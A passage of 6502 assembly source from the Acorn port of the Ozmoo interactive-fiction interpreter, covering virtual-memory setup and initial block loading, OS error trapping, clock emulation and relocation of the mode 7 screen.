cmp .game_blocks
bne .game_blocks_ne_ram_blocks
sec
sbc #vmem_block_pagecount
tax
tya
sbc #0
bne .max_dynmem_is_smaller
cpx .max_dynmem
bcc .game_blocks_is_smaller
.max_dynmem_is_smaller
ldx .max_dynmem
.game_blocks_is_smaller
bne .dynmem_adjust_done ; Always branch
.game_blocks_ne_ram_blocks
; Note that we can't have .game_blocks < .ram_blocks because we reduced
; .ram_blocks to match earlier, so .game_blocks > .ram_blocks. We don't want
; to reduce flexibility by locking parts of the game into RAM instead of
; allowing the virtual memory system to choose what lives in RAM. It's only
; a clear win to increase nonstored_blocks if it brings otherwise unusable
; RAM into play. Set nonstored_blocks =
; max(min(.ram_blocks - vmap_max_size * vmem_block_pagecount, .max_dynmem),
; ACORN_INITIAL_NONSTORED_BLOCKS)
.min_lhs_sub = vmap_max_size * vmem_block_pagecount
sec
sbc #<.min_lhs_sub
tax
tya
sbc #>.min_lhs_sub
bmi .use_acorn_initial_nonstored_blocks
bne .use_min_rhs
cpx .max_dynmem
bcc .use_min_lhs
.use_min_rhs
ldx .max_dynmem
.use_min_lhs
cpx #ACORN_INITIAL_NONSTORED_BLOCKS
bcs .use_max_lhs
.use_acorn_initial_nonstored_blocks
ldx #ACORN_INITIAL_NONSTORED_BLOCKS
.use_max_lhs
.dynmem_adjust_done
stx nonstored_blocks
}
}
; Set .ram_blocks -= nonstored_blocks, i.e. set .ram_blocks to the number of
; RAM blocks we have available as virtual memory cache.
lda .ram_blocks
sec
sbc nonstored_blocks
sta .ram_blocks
bcs +
dec .ram_blocks + 1
+
; SFTODO: REVIEW ALL THE FOLLOWING FRESH, ESP "NEW" SWR CASE
; It's important .ram_blocks >= vmem_block_pagecount now so that we will set
; vmap_max_entries >= 1 below. Conceptually it makes sense for
; vmap_max_entries to be 0 but in practice lots of code assumes it isn't.
;
; The build system and loader work together to guarantee (initial)
; .ram_blocks >= ACORN_INITIAL_NONSTORED_BLOCKS + 2 * vmem_block_pagecount.
; If nonstored_blocks has not been adjusted, there are two cases:
; a) If we didn't set .ram_blocks = .game_blocks above, the build system and
; loader guarantee means we now have .ram_blocks >= 2 *
; vmem_block_pagecount. QED.
; b) If we did set .ram_blocks = .game_blocks above, we know that the
; game has at least one block of non-dynamic memory, so before the
; subtraction we had .ram_blocks = .game_blocks >=
; ACORN_INITIAL_NONSTORED_BLOCKS + vmem_block_pagecount. QED.
;
; On a turbo second processor, we may have adjusted nonstored_blocks. There are
; two cases:
; a) If we didn't set .ram_blocks = .game_blocks above, as nonstored_blocks
; lives in bank 0 and we also have banks 1 and 2 for virtual memory
; cache, after the subtraction we have .ram_blocks ~= 128K >=
; vmem_block_pagecount. QED.
; b) If we did set .ram_blocks = .game_blocks above, combine that with the
; fact the adjustment to nonstored_blocks left nonstored_blocks <=
; .game_blocks - vmem_block_pagecount. QED.
;
; On a sideways RAM build, we may have adjusted nonstored_blocks. There are
; two cases:
; a) If we didn't set .ram_blocks = .game_blocks above, we either:
; 1) set nonstored_blocks = ACORN_INITIAL_NONSTORED_BLOCKS; see the "not
; been adjusted" case above.
; 2) set nonstored_blocks <= .ram_blocks - vmap_max_size *
; vmem_block_pagecount, so after the subtraction we have .ram_blocks
; >= vmap_max_size * vmem_block_pagecount. QED
; b) exactly the same as for the turbo second processor
}
!ifndef ACORN_SWR {
; vmap_first_ram_page is set at build time to suit a normal second processor
; and it's not used on a turbo second processor, so we don't need any code
; to initialise it.
}
; Now set vmap_max_entries = min(.ram_blocks / vmem_block_pagecount,
; vmap_max_size), i.e. the number of vmap entries we have RAM to support.
; (If we're in the ACORN_TUBE_CACHE case on a normal second processor, we
; have that much RAM in total but the number of vmap entries we can support
; is lower. It's convenient to work with this larger value while we do the
; initial load, then vmap_max_entries is fixed up later.)
ldx #vmap_max_size
lda .ram_blocks
lsr .ram_blocks + 1
bne .cap_at_vmap_max_size
ror
cmp #vmap_max_size
bcs .cap_at_vmap_max_size
tax
.cap_at_vmap_max_size
stx vmap_max_entries
; SFTODO: Probably not, but can the existence of vmap_sort_entries help simplify the normal tube+cache case?
vmap_sort_entries = vmem_temp ; 1 byte
SFTODOLABEL5
!ifndef ACORN_NO_DYNMEM_ADJUST {
; If we've adjusted nonstored_blocks, we may need to sort more than
; vmap_max_entries elements of vmap and it's definitely safe to sort all
; vmap_max_size entries, because we either have enough RAM for vmap_max_size
; blocks of virtual memory cache or we have enough RAM for the entire game.
lda nonstored_blocks
cmp #ACORN_INITIAL_NONSTORED_BLOCKS
beq +
ldx #vmap_max_size
+
}
stx vmap_sort_entries
}
; Load the nonstored blocks, or all the blocks if we're not using virtual
; memory. We don't need to worry about reading past the end of the game data
; here, because at worst we will read a final 512-byte block when we don't
; have a full block and that's fine.
.blocks_to_read = zp_temp + 4 ; 1 byte
; Because this is initialisation code, we know the following variables are
; already set to predictable values. This optimisation was useful at one
; point but it's not really important right now; it isn't too confusing so
; let's keep it anyway now it's been tested.
!if 0 {
lda #2
sta readblocks_numblocks
lda #0
sta readblocks_currentblock
sta readblocks_currentblock + 1
sta readblocks_mempos ; story_start is page-aligned
!ifdef ACORN_TURBO_SUPPORTED {
; On a turbo second processor readblocks_mempos + 2 is significant and will
; vary; it's probably still zero at this point but play it safe. On a normal
; second processor readblocks_mempos + 2 will always be 0 so this is
; redundant but harmless.
sta readblocks_mempos + 2
}
} else {
; If we're on DFS the earlier read of the catalogue will have bumped
; readblocks_currentblock and readblocks_mempos, so they have to be set
; explicitly.
lda #0
sta readblocks_currentblock
}
lda #>story_start
sta readblocks_mempos + 1
!ifdef VMEM {
lda nonstored_blocks
} else {
lda .game_blocks
}
sta .blocks_to_read
!ifdef ACORN_SWR_BIG_DYNMEM {
; Page in the first bank as dynamic memory may overflow into it.
+acorn_page_in_bank_using_a ram_bank_list
}
.dynmem_load_loop
jsr readblocks
lda .blocks_to_read
sec
sbc readblocks_numblocks
sta .blocks_to_read
bne .dynmem_load_loop
!ifdef ACORN_SWR {
; Calculate vmem_blocks_in_main_ram and vmem_blocks_stolen_in_first_bank.
lda nonstored_blocks
clc
adc #>story_start
ldx #0
stx vmem_blocks_stolen_in_first_bank
sec
sbc #>flat_ramtop
bcc .some_vmem_in_main_ram
lsr
sta vmem_blocks_stolen_in_first_bank
bpl + ; Always branch
.some_vmem_in_main_ram
; Carry is clear; negate A
eor #$ff
adc #1
lsr
sta vmem_blocks_in_main_ram
+
}
!ifdef VMEM {
!ifndef PREOPT {
; Sort vmap into ascending order, preserving the timestamps but using just the
; addresses as keys. This avoids the drive head jumping around during the
; initial load. The build system can't do this sort, because we're sorting
; the truncated list with just vmap_sort_entries not the full list of
; vmap_max_size entries.
;
; This only happens once and it's not a huge list so while we don't want it
; to be really slow, compactness and simplicity of code are also important.
; This is an insertion sort, implemented based on the pseudocode from
; https://en.m.wikipedia.org/wiki/Insertion_sort, which I've relabelled here
; to match the register use in the following code:
;
; x = 1
; while x < length(vmap_z)
; temp = vmap_z[x]
; y = x - 1
; while y >= 0 and vmap_z[y] > temp
; vmap_z[y+1] = vmap_z[y]
; y = y - 1
; end while
; vmap_z[y+1] = temp
; x = x + 1
; end while
;
; Invariants:
; 1 <= x <= length(vmap_z) <= vmap_max_size <= 255
; -1 <= y < x, so -1 <= y <= 254
;
; This takes about 0.42 seconds to sort 255 shuffled entries at 2MHz; that's
; not great but it's not terrible. It takes about 0.1 seconds to sort 122
; shuffled entries, which is probably a more typical case. Given a sorted
; list - as will happen if the preopt mode has not been used - it takes
; about 0.02 seconds to "sort" 255 entries, so there's no significant
; performance penalty when this is not doing anything useful.
; (We could simply not include this code if we don't have any preopt data,
; but it's discardable init code so it's not really harmful and it seems
; best for support purposes to keep the code identical whether or not preopt
; data is supplied or not.)
ldx #1
.outer_loop
lda vmap_z_l,x
sta zp_temp
lda vmap_z_h,x
sta zp_temp + 1
and #vmem_highbyte_mask
sta zp_temp + 4
txa
tay
.inner_loop
dey
lda vmap_z_h,y
and #vmem_highbyte_mask
cmp zp_temp + 4
bne +
lda vmap_z_l,y
cmp zp_temp
beq .exit_inner_loop
+ bcc .exit_inner_loop
lda vmap_z_l,y
sta vmap_z_l + 1,y
lda vmap_z_h,y
sta vmap_z_h + 1,y
tya
bne .inner_loop
dey
.exit_inner_loop
; We can't omit this iny and use vmap_z_[lh] + 1,y below to compensate
; because Y may be -1 (255) and so they're not equivalent.
iny
lda zp_temp
sta vmap_z_l,y
lda zp_temp + 1
sta vmap_z_h,y
inx
cpx vmap_sort_entries
bne .outer_loop
!ifndef ACORN_NO_DYNMEM_ADJUST {
; The initial vmap created by the build system assumes nonstored_blocks ==
; ACORN_INITIAL_NONSTORED_BLOCKS, so if we changed nonstored_blocks earlier
; we need to adjust the vmap to compensate. If we didn't adjust it, this
; code is a no-op. As the vmap is now sorted by address we just need to find
; the first entry which doesn't correspond to dynamic memory and move
; everything down so that entry becomes the first entry in the vmap. The
; space freed up at the end of the vmap by this move is filled with dummy
; entries so those entries will be used first when the game needs to load
; more blocks from disc.
SFTODOLABEL2
ldx #255
.find_first_non_promoted_entry_loop
inx
lda vmap_z_h,x
and #vmem_highbyte_mask
bne .found_first_non_promoted_entry
lda vmap_z_l,x
cmp nonstored_blocks
bcc .find_first_non_promoted_entry_loop
.found_first_non_promoted_entry
txa
beq .no_dynmem_promotion
ldy #0
.vmap_move_down_loop
cpx #vmap_max_size
beq .use_dummy_entry
lda vmap_z_h,x
sta vmap_z_h,y
lda vmap_z_l,x
inx
bne + ; Always branch
.use_dummy_entry
; We use $0101 as a dummy entry; this has the oldest possible timestamp so
; the entry will be re-used ASAP and because it has the low bit of the
; address set it can never accidentally match a lookup. (We could use 0 in
; practice; that would never match a lookup because address 0 is guaranteed
; to be dynamic memory so we will never search the vmap for it. But it seems
; a little clearer to use $0101, and this needs to execute on all machines
; so we can't micro-optimise by using stz.)
lda #1
sta vmap_z_h,y
+ sta vmap_z_l,y
iny
cpy vmap_max_entries
bne .vmap_move_down_loop
.no_dynmem_promotion
}
; Debugging code - use this in conjunction with --print-vm.
!if 0 {
jsr streams_init
; vmap_used_entries is set later in normal use, but set it early here so
; print_vm shows the entire vmap.
lda vmap_max_entries
sta vmap_used_entries
lda #'X'
jsr s_printchar
lda #>story_start
jsr print_byte_as_hex
lda nonstored_blocks
jsr print_byte_as_hex
jsr newline
jsr osrdch
}
; Now we've got vmap how we want it, load the corresponding blocks into
; memory and initialise vmap_used_entries. (This roughly corresponds to the
; C64 load_suggested_pages subroutine.)
!ifdef ACORN_TURBO_SUPPORTED {
bit is_turbo
bpl .normal_tube_load
; On a turbo second processor we don't do any preloading of the host cache
; so we just use a straightforward load loop like the non-tube-cache case
; below.
stz vmap_index
!ifdef ACORN_TUBE_CACHE {
lda #$ff
sta osword_cache_index_offered
sta osword_cache_index_offered + 1
}
.turbo_load_loop
jsr load_blocks_from_index
inc vmap_index
lda vmap_index
cmp vmap_max_entries
bne .turbo_load_loop
sta vmap_used_entries
jmp .all_loading_done
.normal_tube_load
}
!ifdef ACORN_TUBE_CACHE {
; SFTODO: These labels should probably start with a "."
inflated_vmap_max_entries = zp_temp
from_index = zp_temp + 1
to_index = vmap_index
load_scratch_space = flat_ramtop - vmem_blocksize
SFTODOLABELX2
; vmap_max_entries was deliberately artificially high up to this point so
; we'd retain and sort more of the initial vmap; set it to the correct value
; reflecting the size of the vmap Ozmoo's virtual memory has to work with.
; SFTODO: Worth noting that here - and might be useful in some other code
; too - we are calculating using known-at-build-time values. I could
; potentially simplify/shorten the code in a few places by not treating this
; dynamically, e.g. we wouldn't need the code to populate .game_blocks in
; the first place. (on SWR builds the dynmem growth optimisation means
; nonstored_blocks is not precisely known at build time, but that's not an
; issue for a tube build) This might also simplify some corner cases in the
; "grow nonstored_blocks" logic, because the game size is no longer a
; runtime variable. I just worry a little bit about this breaking
; already-not-supposed-to-work-but-sort-of-does-just-about things where a
; game developer wants to switch in an updated data file without going
; through the Ozmoo build process.
lda vmap_max_entries
sta inflated_vmap_max_entries
lda #>(flat_ramtop - story_start)
ldx .game_blocks + 1
bne +
cmp .game_blocks
bcc +
lda .game_blocks
+ sec
sbc nonstored_blocks
lsr
sta vmap_max_entries
sta vmap_used_entries
; Adjust .host_cache_size so the following load loop won't try to put "too
; much" into the host cache; if this happens we might not have enough blocks
; to load into the local virtual memory cache and so some vmap entries would
; be present but not have actually been loaded. (This can happen because the
; cutover timestamp isn't that precise due to limited timestamp resolution,
; especially for Z4+ games.) Note that this doesn't actually stop us using
; more of the host cache; we will offer it blocks willy-nilly during play
; and if it has space it will hold onto them.
SFTODOLABELX3
lda inflated_vmap_max_entries
sec
sbc vmap_max_entries
sta .host_cache_size
; We now need to load the inflated_vmap_max_entries blocks in the vmap from
; disk; vmap_max_entries blocks will go into our local memory as normal, the
; remainder need to be handed over to the host cache. We want the newer
; (higher timestamp) blocks in local memory, but remember vmap is sorted by
; block address to avoid the disk head jumping around. We use knowledge of
; how the build system generates the timestamps on vmap to identify a
; timestamp cutover point which will (except for the fact that the same
; timestamp can occur on multiple entries) separate the vmap into two chunks
; of the required sizes. (If the cutover timestamp is calculated
; incorrectly, we will still load everything we should, but newer blocks
; will tend to be in the host cache when we'd prefer them to be in local
; memory.)
.vmem_blocks = ((>(flat_ramtop - story_start)) - ACORN_INITIAL_NONSTORED_BLOCKS) / vmem_block_pagecount
.cutover_timestamp = int(ACORN_TUBE_CACHE_MAX_TIMESTAMP + ((float(.vmem_blocks) / vmap_max_size) * (ACORN_TUBE_CACHE_MIN_TIMESTAMP - ACORN_TUBE_CACHE_MAX_TIMESTAMP))) and ($ff xor vmem_highbyte_mask)
; Work through the blocks in vmap, loading each in turn and offering it to
; the host cache if it's old and there's room, and keeping it loaded into
; local memory otherwise. We keep doing this until we've loaded
; vmap_max_entries blocks into local memory (blocks offered to the host
; cache don't count) or until we've loaded all the blocks in vmap.
lda #0
sta from_index
sta to_index
lda #$ff
sta osword_cache_index_offered
sta osword_cache_index_offered + 1
.first_load_loop
ldx from_index
ldy to_index
lda vmap_z_l,x
sta vmap_z_l,y
lda vmap_z_h,x
sta vmap_z_h,y
jsr load_blocks_from_index
ldy to_index
lda vmap_z_h,y
; and #$ff xor vmem_highbyte_mask ; not necessary as we're doing a >= test
cmp #.cutover_timestamp + 1
bcs .dont_put_in_cache
+ ldx .host_cache_size
beq .dont_put_in_cache
dec .host_cache_size
and #$ff xor vmem_highbyte_mask
sta osword_cache_index_offered_timestamp_hint
; load_blocks_from_index will have set osword_cache_index_requested
lda osword_cache_index_requested
sta osword_cache_index_offered
lda osword_cache_index_requested + 1
sta osword_cache_index_offered + 1
jmp .continue
.dont_put_in_cache
lda #$ff
sta osword_cache_index_offered
sta osword_cache_index_offered + 1
inc to_index
.continue
inc from_index
lda to_index
cmp vmap_max_entries
bne .first_load_loop
; We may have already loaded all the blocks, but if we haven't we now need
; to start re-using vmap[vmap_max_entries - 1] to load the rest. (We can
; only load into local memory and we've used it all.) We no longer have the
; luxury of (easily) putting the blocks with older timestamps into the host
; cache and keeping the younger ones in local memory, but if we chose the
; cutover timestamp correctly we should end up with at most one misplaced
; block in each cache. SFTODO: I'M NOT SURE IT'S AS PRECISE AS ONE MISPLACED BLOCK, DUE TO LACK OF TIMESTAMP RESOLUTION - IT MAY BE ONE MISPLACED *TIMESTAMP*. IT ISN'T THAT BIG A DEAL, BUT THINK ABOUT THIS AND UPDATE THIS COMMENT. The misplaced block in the host cache will be the
; newest block in the host cache so it will spend a long time in there
; before being discarded, which should give plenty of opportunity for it to
; be requested during gameplay and moved into local memory before it's lost.
; SFTODO: vmap_index is an alias for to_index, maybe use to_index in the follow loop to match the previous loop? This (double check) is just a labelling change, the code would be identical.
dec vmap_index ; set vmap_index = vmap_max_entries - 1
.second_load_loop
ldx from_index
cpx inflated_vmap_max_entries
beq .second_load_loop_done
ldy vmap_index
lda vmap_z_l,y
sta osword_cache_index_offered
lda vmap_z_h,y
and #vmem_highbyte_mask
sta osword_cache_index_offered + 1
lda vmap_z_h,y
and #$ff xor vmem_highbyte_mask
sta osword_cache_index_offered_timestamp_hint
lda vmap_z_l,x
sta vmap_z_l,y
lda vmap_z_h,x
sta vmap_z_h,y
jsr load_blocks_from_index
inc from_index
jmp .second_load_loop
.second_load_loop_done
; Now we've finished the initial load, specify no timestamp hint for cache
; operations; this setting will remain untouched for the rest of the game.
lda #osword_cache_no_timestamp_hint
sta osword_cache_index_offered_timestamp_hint
} else { ; not ACORN_TUBE_CACHE
; Load the blocks in vmap.
lda #0
sta vmap_index
- jsr load_blocks_from_index
inc vmap_index
lda vmap_index
cmp vmap_max_entries
bne -
SFTODOLABEL4
sta vmap_used_entries
}
.all_loading_done
!ifdef ACORN_SWR {
; The load loop may have left the last bank of sideways RAM paged in; we
; need to page the default bank back in.
+acorn_swr_page_in_default_bank_using_y
}
} ; End of !ifndef PREOPT
} ; End of !ifdef VMEM
; Calculate CRC of block 0 before it gets modified, so we can use it later
; to identify the game disc after a save or restore.
lda #0
ldx #<story_start
ldy #>story_start
jsr calculate_crc ; corrupts some zp_temp locations
stx game_disc_crc
sty game_disc_crc + 1
} ; End of acorn_deletable_init_inline
!ifdef ACORN_SWR {
!macro acorn_swr_page_in_default_bank_using_y {
!ifdef ACORN_SWR_BIG_DYNMEM {
+acorn_page_in_bank_using_y ram_bank_list
} else {
+acorn_page_in_bank_using_y z_pc_mempointer_ram_bank
}
}
}
; Acorn-specific initialization to carry out in deletable_screen_init_2. This is
; quite late in the initialization process - in particular it happens after the
; lengthy loading process in acorn_deletable_init_inline.
!macro acorn_deletable_screen_init_2_inline {
!ifdef ACORN_NO_SHADOW {
; It's not safe to do vdu_cls without having a text window in effect.
; Normally the one set up when we first entered this version of mode 7 is
; in effect, but if there's been any output (e.g. due to disc errors) via
; s_printchar between then and now we may no longer have one in effect.
; s_printchar normally takes care of creating one as needed, but since we're
; going to do vdu_cls directly we need to take care of this.
+define_mode_7_3c00_text_window_inline
lda #vdu_cls
jsr oswrch
} else {
; Set the desired mode. If we're already in the right mode we don't reselect
; it, to avoid the screen flashing briefly to black. This is deletable init
; code so we can afford minor luxuries like this.
lda #osbyte_read_screen_mode
jsr osbyte
cpy screen_mode
beq .already_in_right_mode
lda #vdu_set_mode
jsr oswrch
lda screen_mode
ora #128 ; force shadow mode on
jsr oswrch
jmp .mode_set
.already_in_right_mode
; Clear the screen; this is mostly unnecessary, but for Z3 games which are
; loading from the loader in mode 7 it clears any leftover text on the top
; line of the screen.
lda #vdu_cls
jsr oswrch
.mode_set
; Setting the mode will have turned the cursor back on, so fix that.
jsr init_cursor_control
; We must re-initialise screenkernal to pick up the details of the new mode.
jsr screenkernal_init
; We must also reset the window sizes; we do this by re-executing
; deletable_screen_init_1.
jsr deletable_screen_init_1
}
!ifdef ACORN_HW_SCROLL {
ldx #1
ldy screen_mode
cpy #7
bne +
dex
+ stx use_hw_scroll
}
jsr update_colours
} ; End of acorn_deletable_screen_init_2_inline
!macro clean_up_and_quit_inline {
; TODO: Should this print something like "[Press SPACE]", flush keyboard
; buffer and wait for SPACE before continuing? Maybe also adding a blank
; line of output before we call osbyte_enter_language for neatness. Apart
; from looking nicer, this might have a useful gameplay function as entering
; BASIC could cause text to scroll which the user hasn't read yet, whereas
; our "[Press SPACE]" prompt would be done under control of Ozmoo's paging.
!ifdef ACORN_NO_SHADOW {
jsr undo_mode_7_3c00
}
jsr set_os_normal_video
jsr turn_on_cursor
ldx #0
jsr do_osbyte_rw_escape_key
!ifdef ACORN_CURSOR_PASS_THROUGH {
jsr do_osbyte_set_cursor_editing_x_0
}
!ifdef ACORN_FUNCTION_KEY_PASS_THROUGH {
lda #osbyte_rw_function_key_status
ldx #1 ; default - expand as normal soft key
jsr do_osbyte_y_0
lda #osbyte_rw_shift_function_key_status
ldx #$80 ; default - generate $80+n
jsr do_osbyte_y_0
}
; Re-enter the current language.
re_enter_language
lda #osbyte_enter_language
re_enter_language_ldx_imm
ldx #$ff
jsr osbyte
; never returns
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; OS error handling and associated routines
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
error_handler
ldy .error_handler_newlines
beq +
- lda #13
jsr .error_handler_print_char
dey
bne -
+ ldy #1
- lda (error_ptr), y
beq +
jsr .error_handler_print_char
iny
bne - ; Always branch
; The following jmp will be patched by code which wants to gain control
; after an error.
.error_handler_jmp
+ jmp .press_break
default_error_handler_newlines = 2
.error_handler_newlines !byte default_error_handler_newlines
.press_break
; We don't use print_following_string here because we don't want to assume
; Ozmoo's own printing mechanisms are properly initialized.
jsr error_print_following_string
!text " - press BREAK",0
- jmp -
; Depending on what's happening when an error occurs, we need to output using
; different primitives. We therefore always use this subroutine and it gets
; patched at runtime.
.error_handler_print_char
jmp s_printchar
; Like print_following_string, but using .error_handler_print_char.
error_print_following_string
pla
sta .error_print_following_string_lda + 1
pla
sta .error_print_following_string_lda + 2
- inc .error_print_following_string_lda + 1
bne +
inc .error_print_following_string_lda + 2
+
.error_print_following_string_lda
lda $ffff
beq +
jsr .error_handler_print_char
jmp -
+ lda .error_print_following_string_lda + 2
pha
lda .error_print_following_string_lda + 1
pha
rts
error_print_s_printchar = 0
error_print_osasci = 1
.error_print_table_l
!byte <s_printchar
!byte <osasci
.error_print_table_h
!byte >s_printchar
!byte >osasci
; Allow trapping of errors signalled by the OS via BRKV. Used like this:
; ldx #2 ; number of newlines to print before any error
; ldy #n ; type of printing to use if an error occurs (0 s_printchar, 1 osasci)
; jsr setjmp
; beq ok
; ; error occurred, do something
; jsr set_default_error_handler ; before returning
; rts
; ok
; ; do something that might cause an error
; jsr set_default_error_handler ; errors after this point aren't our problem
setjmp
stx .error_handler_newlines
lda .error_print_table_l,y
sta .error_handler_print_char + 1
lda .error_print_table_h,y
sta .error_handler_print_char + 2
lda #<.setjmp_error_handler
sta .error_handler_jmp + 1
lda #>.setjmp_error_handler
sta .error_handler_jmp + 2
!ifdef ACORN_SWR {
; The OS will page the current language back in on BRK, so we need to save
; the current bank and restore it in .setjmp_error_handler.
lda romsel_copy
sta jmp_buf_ram_bank
}
; We need to save the contents of the stack, because they may be corrupted
; when an error message is generated. (They probably won't be, but we can't
; rely on it.) As a nice side effect of this, the return address for our
; caller is saved so .setjmp_error_handler can simply rts after restoring
; the stack.
; SFTODO: If jmp_buf is made smaller, we could probably fairly easily
; detect overflow - initialize y with -buffer_size, do sta jmp_buf+1+buffer_size,y
; and if the bne after the iny isn't taken we've overflowed. There might be
; an off by one error in that, I'm just sketching the idea out. This is
; tempting, *but* at the moment jmp_buf is going to live in $400-800 and
; (except for the possibility of starting code at say $600 on 2P) we have
; loads of free space down there, so adding a few bytes of code to the VM
; to detect overflow and cause a fatal error will eat into valuable memory
; for the sake of optimising use of a currently not-scare resource. Think
; about it, maybe convert this to an SF: comment.
tsx
stx jmp_buf
ldy #0
- inx
beq +
lda stack,x
sta jmp_buf+1,y
iny
bne -
+ ; Z flag is set
rts
.setjmp_error_handler
ldx jmp_buf
txs
ldy #0
- inx
beq +
lda jmp_buf+1,y
sta stack,x
iny
bne -
+
!ifdef ACORN_SWR {
+acorn_page_in_bank_using_a jmp_buf_ram_bank
}
lda #1 ; Z flag is clear
rts
set_default_error_handler
lda #default_error_handler_newlines
sta .error_handler_newlines
lda #<s_printchar
sta .error_handler_print_char + 1
lda #>s_printchar
sta .error_handler_print_char + 2
lda #<.press_break
sta .error_handler_jmp + 1
lda #>.press_break
sta .error_handler_jmp + 2
.set_default_error_handler_rts
rts
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C64 kernal_readtime emulation
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; The Acorn OS time counter is a 5 byte value, whereas (ignoring the
; difference in resolution) the Commodore one is 3 bytes. Because the Acorn
; OS time counter may have an arbitrarily large value (perhaps some kind of
; soft RTC solution) when we start up and we don't want to zero it, we read
; the initial value and subtract that from any subsequent reads.
!macro init_readtime_inline {
lda #osword_read_clock
ldx #<initial_clock
ldy #>initial_clock
jsr osword
}
kernal_readtime
.current_clock = scratch_page
lda #osword_read_clock
ldx #<.current_clock
ldy #>.current_clock
jsr osword
ldx #(256-5)
sec
- lda .current_clock-(256-5),x
sbc initial_clock-(256-5),x
sta .current_clock-(256-5),x
inx
bne -
; The Acorn clock is in centiseconds; a PAL C64 would use fiftieths of a
; second, so halve the value before we return it.
ldx #4
clc
- ror .current_clock,x
dex
bpl -
; All the above means we're at no more or less risk than a C64 of having the
; time roll over during a game. It would take >3.8 days for this to happen.
ldy .current_clock+2
ldx .current_clock+1
lda .current_clock+0
rts
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ACORN_NO_SHADOW support (mode 7 screen at $3c00 instead of $7c00)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; If we have no shadow RAM, we need to relocate the mode 7 screen to $3c00 to
; create a contiguous area of RAM from $4000-$c000. See
; https://stardot.org.uk/forums/viewtopic.php?f=54&t=20149 for more discussion
; on this.
!ifdef ACORN_NO_SHADOW {
!ifndef ACORN_SWR {
!error "ACORN_NO_SHADOW only makes sense with ACORN_SWR"
}
!ifdef ACORN_HW_SCROLL {
; The OS can't hardware scroll the mode 7 screen at this non-standard
; location.
!error "ACORN_HW_SCROLL is not compatible with ACORN_NO_SHADOW"
}
!macro make_acorn_screen_hole {
.tolerance = 256
!if * <= $3c00 {
!if ($3c00 - *) <= .tolerance {
acorn_screen_hole_start = *
!fill $4000 - *, 'X'
acorn_screen_hole_end
}
}
}
!macro make_acorn_screen_hole_jmp {
.jmp_size = 3
.tolerance = 256
!if * <= ($3c00 - .jmp_size) {
!if ($3c00 - *) <= .tolerance {
jmp acorn_screen_hole_end
acorn_screen_hole_start = *
!fill $4000 - *, 'X'
acorn_screen_hole_end
}
}
}
; On $e00 builds the binary is likely to fit entirely below the screen at $3c00.
; We need the stack and story to be contiguous, so we must insert a large enough
; hole at this point even if we're not close to $3c00.
;
; .swap_pointers_for_save will temporarily corrupt the last few bytes of the
; screen memory just below the start of the stack (i.e. just below $4000), but
; this shouldn't actually be visible because we're using software scrolling and
; the mode 7 screen data actually only occupies the first 40*25 bytes at $3c00,
; so it's not necessary to include some extra padding at $4000 to avoid this.
; SFTODO: BE GOOD TO TEST THIS!
!macro make_acorn_screen_hole_before_stack {
!if * <= $3c00 {
acorn_screen_hole_start = *
!fill $4000 - *, 'X'
acorn_screen_hole_end
}
}
!macro check_acorn_screen_hole {
; This check is important to ensure the no shadow RAM build doesn't crash,
; but when the check fails, we need to be able to disable it in order to
; allow assembly to complete so we can look at the acme report output and
; decide where to add a +make_acorn_screen_hole invocation.
!ifndef ACORN_DISABLE_SCREEN_HOLE_CHECK {
!ifndef acorn_screen_hole_start {
!error "Acorn screen hole has not been added"
} else {
!if acorn_screen_hole_start > $3c00 {
!error "Acorn screen hole starts too late"
}
!if acorn_screen_hole_end < $4000 {
!error "Acorn screen hole ends too soon"
}
}
}
}
; This macro is like an initialization subroutine, but by using a macro we
; can place it in the discardable init code while still having it in this file
; where it logically belongs.
!macro set_up_mode_7_3c00_inline {
; In reality we don't expect to be called with our handlers already
; installed, but be paranoid - this is deletable init code so it's mostly
; free.
lda wrchv
cmp #<our_wrchv
bne +
lda wrchv + 1
cmp #>our_wrchv
beq .set_up_mode_7_3c00_done
+
; Copy the contents of the current screen for neatness.
ldx #$7c
ldy #$3c
jsr screen_copy
; Reprogram the CRTC and poke the OS variables to mostly compensate.
lda #crtc_screen_start_high
sta crtc_register
lda #$20
sta crtc_data
lda #$3c
sta bottom_of_screen_memory_high
sta display_start_address + 1
; Define a text window and reposition the cursor; doing this forces the OS
; to notice the changes we just made. The text window also prevents hardware
; scrolling; all the output from the main Ozmoo code will be protected using
; text windows anyway since ACORN_HW_SCROLL is not defined, but having one
; in place straight away is useful insurance.
lda #osbyte_read_cursor_position
jsr osbyte
+define_mode_7_3c00_text_window_inline
jsr do_oswrch_vdu_goto_xy
; Install our handlers to fix some problems with the OS's handling of this
; unofficial mode.
lda wrchv
sta call_old_wrchv + 1
lda wrchv + 1
sta call_old_wrchv + 2
lda #<our_wrchv
sta wrchv
lda #>our_wrchv
sta wrchv + 1
lda keyv
sta call_old_keyv + 1
lda keyv + 1
sta call_old_keyv + 2
lda #<our_keyv
sta keyv
lda #>our_keyv
sta keyv + 1
.set_up_mode_7_3c00_done
}
!macro define_mode_7_3c00_text_window_inline {
lda #vdu_define_text_window
jsr oswrch
lda #0
jsr oswrch
lda #24
jsr oswrch
lda #39
jsr oswrch
lda #0
jsr oswrch
}
!macro adjust_cursor_inline {
lda #crtc_cursor_start_high
sta crtc_register
lda text_cursor_address + 1
sec
sbc #$1c
sta crtc_data
}
our_wrchv
call_old_wrchv
jsr $ffff ; patched during initialization
pha
+adjust_cursor_inline
pla
rts
our_keyv
bcc call_old_keyv
bvc call_old_keyv
; keyboard timer interrupt entry
jsr call_old_keyv
php
pha
bit vdu_status
bvc .not_cursor_editing
+adjust_cursor_inline
.not_cursor_editing
pla
plp
rts
call_old_keyv
jmp $ffff ; patched during initialization
undo_mode_7_3c00
